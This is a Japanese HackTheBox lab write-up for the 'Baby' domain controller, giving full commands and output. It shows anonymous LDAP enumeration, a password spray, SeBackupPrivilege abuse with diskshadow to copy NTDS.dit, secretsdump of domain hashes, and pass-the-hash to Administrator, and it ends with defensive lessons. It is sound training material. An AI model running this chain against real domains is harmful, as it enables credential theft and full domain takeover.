HackTheBox: Baby — 全実行コマンド・実行結果レポート
Nmap スキャン
AD DC標準ポート群
→
AD DC標準ポート群
匿名LDAP bind
description漏洩 “BabyStart123!”
→
description漏洩 “BabyStart123!”
全DN dump で隠れOUユーザ発見
Caroline.Robinson (OU=it)
→
Caroline.Robinson (OU=it)
パスワードスプレー
nxc ldap / smb change-password
→
nxc ldap / smb change-password
evil-winrm ログイン
user.txt ✓
→
user.txt ✓
SeBackupPrivilege
reg save SYSTEM hive
→
reg save SYSTEM hive
diskshadow VSS + NTDS.dit
impacket-secretsdump
→
impacket-secretsdump
PTH Administrator
root.txt ✓
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャンと /etc/hosts 設定
BASH
nmap -sV -sC -p- --min-rate 500 10.129.234.71 echo "10.129.234.71 baby.vl BabyDC.baby.vl BabyDC" | sudo tee -a /etc/hosts
RESULT
PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 88/tcp open kerberos-sec Microsoft Windows Kerberos 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP 445/tcp open microsoft-ds 636/tcp open ldapssl 3268/tcp open globalcatLDAP 3269/tcp open globalcatLDAPssl 3389/tcp open ms-wbt-server 5985/tcp open wsman Microsoft HTTPAPI httpd 2.0 (WinRM) 9389/tcp open adws
ℹ️
典型的なWindows Server 2022 Active Directory ドメインコントローラ
(
baby.vl、ホスト名 BabyDC)。ポート389でLDAP匿名バインドを試す。
PHASE 2
匿名LDAP列挙 — description漏洩 & 隠れOUユーザ発見
通常ユーザ列挙(objectClass=user)で description 漏洩を発見
BASH
ldapsearch -x -b "dc=baby,dc=vl" "(objectClass=user)" -H ldap://BabyDC.baby.vl
RESULT
dn: CN=Teresa Bell,CN=Users,DC=baby,DC=vl
sAMAccountName: Teresa.Bell
description: Set initial password to BabyStart123!
...(他8ユーザ: Ashley.Webb, Hugh.George, Leonard.Dyer, Connor.Wilkinson,
Joseph.Hughes, Kerry.Wilson, Guest 等)
🚨
平文の既定パスワードが description フィールドに漏洩。しかし
CN=Users 配下の9ユーザ全員に対して spray しても誰も有効ではない
(Phase 3-1 参照)。
全オブジェクトDN dump で隠れOUユーザを発見
BASH
# "(objectClass=user)" フィルタでは出てこない、OU配下のユーザを
# フィルタ無し("*")の全オブジェクト列挙で探す
ldapsearch -x -b "dc=baby,dc=vl" "*" -H ldap://BabyDC.baby.vl | grep -B2 "OU=dev\|OU=it"
RESULT
dn: CN=Ian Walker,OU=dev,DC=baby,DC=vl dn: CN=Caroline Robinson,OU=it,DC=baby,DC=vl
🚨
重要発見: 組織単位(OU)
OU=dev と OU=it 配下に
CN=Users とは別の2ユーザが存在し、(objectClass=user) での
最初の列挙では取得できていなかった(LDAPフィルタがOUの配置構造を考慮していないため)。
Caroline.Robinson(OU=it)が次のステップの標的になる。
PHASE 3
パスワードスプレー & user.txt 取得
全11ユーザに対する既定パスワードのスプレー
BASH
nxc ldap baby.vl -u users.txt -p 'BabyStart123!'
RESULT
LDAP 10.129.234.71 389 BABYDC [-] baby.vl\Ashley.Webb:BabyStart123!
LDAP 10.129.234.71 389 BABYDC [-] baby.vl\Caroline.Robinson:BabyStart123! STATUS_PASSWORD_MUST_CHANGE
LDAP 10.129.234.71 389 BABYDC [-] baby.vl\Connor.Wilkinson:BabyStart123!
...(他全員は単純な認証失敗)
✅
Caroline.Robinson だけがパスワード自体は有効だが
STATUS_PASSWORD_MUST_CHANGE(期限切れ・初回変更必須)状態。
ログインそのものはまだできない。
期限切れパスワードの更新
BASH
nxc smb baby.vl -u Caroline.Robinson -p 'BabyStart123!' -M change-password -o NEWPASS='NewPass123!'
RESULT
SMB 10.129.234.71 445 BABYDC [-] baby.vl\Caroline.Robinson:BabyStart123! STATUS_PASSWORD_MUST_CHANGE
CHANGE-P... 10.129.234.71 445 BABYDC [+] Successfully changed password for Caroline.Robinson
⚠️
Sambaの
smbpasswd -U .../-r はこの状態のADアカウントに対して
常に “current password is not correct” で失敗する(SAMR経由のパスワード変更
フローをSambaクライアントが正しく処理できない既知の癖)。代わりに
netexec の change-password モジュールを使うと確実に成功する。
evil-winrm ログイン & user.txt 取得
BASH
evil-winrm -i 10.129.234.71 -u 'Caroline.Robinson' -p 'NewPass123!' *Evil-WinRM* PS> type C:\Users\Caroline.Robinson\Desktop\user.txt
RESULT
4fd5c071ff3b93d19bec4e730a63401a
user.txt — Caroline.Robinson@baby.vl
4fd5c071ff3b93d19bec4e730a63401a
PHASE 4
SeBackupPrivilege → diskshadow → NTDS.dit抽出
SeBackupPrivilegeでSYSTEM hiveを退避
BASH
*Evil-WinRM* PS> whoami /priv | findstr SeBackup *Evil-WinRM* PS> reg save hklm\system C:\Users\Caroline.Robinson\Documents\system
RESULT
SeBackupPrivilege Back up files and directories Enabled
The operation completed successfully.
ℹ️
Caroline.Robinson は Backup Operators グループのメンバーで
SeBackupPrivilege/SeRestorePrivilege を持つ。ただし
ローカルSAMのAdministratorハッシュだけではドメインDCではPTHに使えないため、
NTDS.dit(ドメインのアカウントDB本体)を抽出する必要がある。
diskshadow で C: の永続VSSシャドウコピーを作成
BASH
# ローカルでスクリプトを作成し evil-winrm の upload でアップロード cat > backup.txt <<'EOF' set verbose on set metadata C:\Windows\Temp\test.cab set context persistent add volume C: alias cdrive create expose %cdrive% E: EOF *Evil-WinRM* PS> upload backup.txt *Evil-WinRM* PS> diskshadow /s C:\Users\Caroline.Robinson\Documents\backup.txt
RESULT
-> set verbose on -> set metadata C:\Windows\Temp\test.cab -> set context persistent -> add volume C: alias cdrive -> create Alias cdrive for shadow ID ... set as environment variable. -> expose %cdrive% E: %cdrive% = E:\ ... VSS_E_OBJECT_ALREADY_EXISTS が出ないことを確認
🚨
重大なハマりポイント: このスクリプトファイルをLFのみ(CRLFでない)
改行で生成すると、
diskshadow.exe(古いDOS風コンソールツール)は
各行末尾の1文字を読み落とす(例: "set verbose on" →
"set verbose o" と誤認識し構文エラー)。この場合
expose %cdrive% E: が一度も実行されず E:ドライブが作成されない
まま後続処理が無言で失敗する。スクリプトは必ず CRLF (\r\n) 終端で
生成すること。
ロック中のNTDS.ditをシャドウコピー経由で退避
BASH
*Evil-WinRM* PS> robocopy /b E:\Windows\ntds C:\Users\Caroline.Robinson\Documents ntds.dit
RESULT
1 C:\Users\Caroline.Robinson\Documents\ 100% New File 16777216 ntds.dit Files : 1 Copied
ℹ️
稼働中のドメインコントローラの
C:\Windows\ntds\ntds.dit は常にロックされていて
通常のコピーができない。シャドウコピー(VSS)のスナップショット経由
(E:\Windows\ntds\ntds.dit)であればロックを回避してコピーできる。
robocopy /b (バックアップモード)を使うことでACLの問題も回避する。
SYSTEM hive と NTDS.dit をKaliへ取得
BASH
impacket-smbclient 'baby.vl/Caroline.Robinson:NewPass123!@10.129.234.71' # >>> use C$ # >>> cd Users\Caroline.Robinson\Documents # >>> get system # >>> get ntds.dit # >>> exit
⚠️
evil-winrm 内蔵の
download コマンドは実測 ~28KB/s しか出ず、20MBの
SYSTEM hiveで10分超かかる。Backup OperatorsはSeBackupPrivilegeによりNTFS ACLを
無視してC$管理共有にも読み取りアクセス可能なため、impacket-smbclient
でC$経由取得する方式に切替えると実測6倍以上高速かつ確実(Samba純正の
smbclientは同サイズのファイルで NT_STATUS_IO_TIMEOUT を
起こし使えなかった)。
secretsdump でドメインAdministratorハッシュを復号
BASH
impacket-secretsdump -system system -ntds ntds.dit LOCAL
RESULT
[*] Target system bootKey: 0x191d5d3fd5b0b51888453de8541d7e88
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:ee4457ae59f1e3fbd764e33d9cef123d:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
BABYDC$:1000:...:3d538eabff6633b62dbaa5fb5ade3b4d:::
krbtgt:502:...:6da4842e8c24b99ad21a92d620893884:::
baby.vl\Caroline.Robinson:1115:...:25451b15eeabfa492d9a18442a6e914b:::
...(他ドメインユーザ全員のハッシュも復号される)
✅
ドメイン Administrator の NTLMハッシュを獲得。
NTDS.dit(全ドメインアカウントDBそのもの)の抽出に成功したことで、ローカルSAMでは
不可能だったドメイン管理者への昇格が可能になった。
PHASE 5
Pass-the-Hash → root.txt
NTLMハッシュでAdministratorとしてPTHログイン
BASH
evil-winrm -i 10.129.234.71 -u 'administrator' -H 'ee4457ae59f1e3fbd764e33d9cef123d' *Evil-WinRM* PS> type C:\Users\Administrator\Desktop\root.txt
RESULT
8792512ea1a89e34e3bc3bdb54a2da26
root.txt — Administrator@baby.vl
8792512ea1a89e34e3bc3bdb54a2da26
✅
パスワード無しでNTLMハッシュそのもの(
-H オプション)を使って
認証する Pass-the-Hash により、平文パスワードを一切知らずにドメイン管理者権限を獲得。
evil-winrm出力のANSIエスケープに関する補足
NOTE
evil-winrm の出力には --no-colors を付けてもカーソル制御のANSIエスケープ (例: \x1b[1G)が混入し続ける。これが32桁hexフラグの直前に来ると、エスケープ シーケンス末尾の英字が単語構成文字として誤認識され、フラグ抽出の正規表現の 境界判定が崩れて正しい値が取れないことがある。 スクリプトでフラグを自動抽出する場合は、まず re.sub(r"\x1b\[[0-9;?]*[a-zA-Z]", "", text) でANSIエスケープを除去してから処理すること。手動でターミナルから目視で コピーする場合はこの問題は発生しない。
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — Caroline.Robinson@baby.vl
4fd5c071ff3b93d19bec4e730a63401a
root.txt — Administrator@baby.vl
8792512ea1a89e34e3bc3bdb54a2da26
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| 匿名LDAP bind + 情報漏洩 | Active Directory LDAP (389) | 全ユーザ一覧・平文既定パスワードの漏洩 | High | 認証なしでdescriptionフィールドに記載された初期パスワードと、通常フィルタでは 見えないOU配下の隠れユーザを発見 |
| パスワードスプレー + 期限切れパスワード | Caroline.Robinson | 初期アクセス (user権限) | Medium | 漏洩した既定パスワードを全ユーザにスプレーし、有効(期限切れ)な1アカウントを特定・パスワード更新 |
| SeBackupPrivilege 濫用 | Backup Operators グループメンバー | ドメイン全体の認証情報漏洩 | Critical | diskshadowでVSSシャドウコピーを作成しロック中のNTDS.ditを退避、secretsdumpでドメイン管理者ハッシュを復号 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap | AD DC標準ポート群、baby.vl/BabyDC特定 |
| 2 | LDAP列挙 | 匿名bind + 全DN dump | 既定パスワード漏洩、隠れOUユーザ(Caroline.Robinson)発見 |
| 3 | パスワードスプレー | nxc ldap/smb change-password + evil-winrm | user.txt |
| 4 | NTDS.dit抽出 | SeBackupPrivilege + diskshadow(VSS) + impacket-smbclient/secretsdump | ドメインAdministrator NTLMハッシュ |
| 5 | 権限昇格 | Pass-the-Hash (evil-winrm -H) | root.txt |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| 匿名LDAP bindが有効で、全ユーザ・description属性が誰でも閲覧可能 | 匿名LDAPバインドを無効化する(dsHeuristics設定)。description等の属性に平文パスワードを記載しない運用を徹底する。 |
| 通常のCN=Users以外のOUに配置されたユーザが監査・パスワードポリシー適用から漏れていた | 全OUを対象にした定期的なアカウント監査を行い、既定パスワード未変更・期限切れアカウントを洗い出す。 |
| Backup OperatorsグループがSeBackupPrivilege経由で実質的にドメイン管理者と同等の権限を持つ | Backup Operatorsグループのメンバーを最小限に絞る。バックアップ操作は専用の監査付きワークフローに限定し、diskshadow等の生ツールを一般運用アカウントで実行できないようにする。 |

